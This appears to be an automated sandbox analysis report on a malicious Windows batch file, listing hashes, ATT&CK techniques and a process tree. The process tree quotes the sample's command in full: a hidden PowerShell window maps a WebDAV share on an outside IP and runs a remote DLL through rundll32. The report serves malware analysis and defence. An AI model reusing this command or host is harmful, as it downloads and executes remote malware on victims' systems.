5d247b3658b87ae5c468451740643f7ca686cbf2d8a45d8f6bc11d12c3372c06

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
13/07/2024, 10:17

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General

Target

5d247b3658b87ae5c468451740643f7ca686cbf2d8a45d8f6bc11d12c3372c06.bat
Size

2KB
MD5

9df503acd64eed2a008f3cb255416fbc
SHA1

3953b57b7e4a6fe003799c19047b74a51584c69a
SHA256

5d247b3658b87ae5c468451740643f7ca686cbf2d8a45d8f6bc11d12c3372c06
SHA512

aa69e1db429e8d973146badf8e58ab637635a1824208a03b5851f4e8af6a44e7b8efa94edfcaf7d66f471e0911b8ad05059c75cfd318d5c69dc9422a827f0ea8

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2424	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2424	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2424	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1696	wordpad.exe
1696	wordpad.exe
1696	wordpad.exe
1696	wordpad.exe
1696	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 1696	2224	cmd.exe	29
PID 2224 wrote to memory of 1696	2224	cmd.exe	29
PID 2224 wrote to memory of 1696	2224	cmd.exe	29
PID 2224 wrote to memory of 2424	2224	cmd.exe	30
PID 2224 wrote to memory of 2424	2224	cmd.exe	30
PID 2224 wrote to memory of 2424	2224	cmd.exe	30
PID 2424 wrote to memory of 1076	2424	powershell.exe	32
PID 2424 wrote to memory of 1076	2424	powershell.exe	32
PID 2424 wrote to memory of 1076	2424	powershell.exe	32
PID 2424 wrote to memory of 1172	2424	powershell.exe	33
PID 2424 wrote to memory of 1172	2424	powershell.exe	33
PID 2424 wrote to memory of 1172	2424	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\5d247b3658b87ae5c468451740643f7ca686cbf2d8a45d8f6bc11d12c3372c06.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1567.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:1076
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1567.dll entry
    3⤵
    PID:1172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1696-20-0x0000000001E00000-0x0000000001E01000-memory.dmp

Filesize
4KB

Download
memory/1696-27-0x0000000001E00000-0x0000000001E01000-memory.dmp

Filesize
4KB

Download
memory/2224-17-0x0000000002330000-0x0000000002430000-memory.dmp

Filesize
1024KB

Download
memory/2224-16-0x0000000002330000-0x0000000002430000-memory.dmp

Filesize
1024KB

Download
memory/2424-25-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2424-26-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download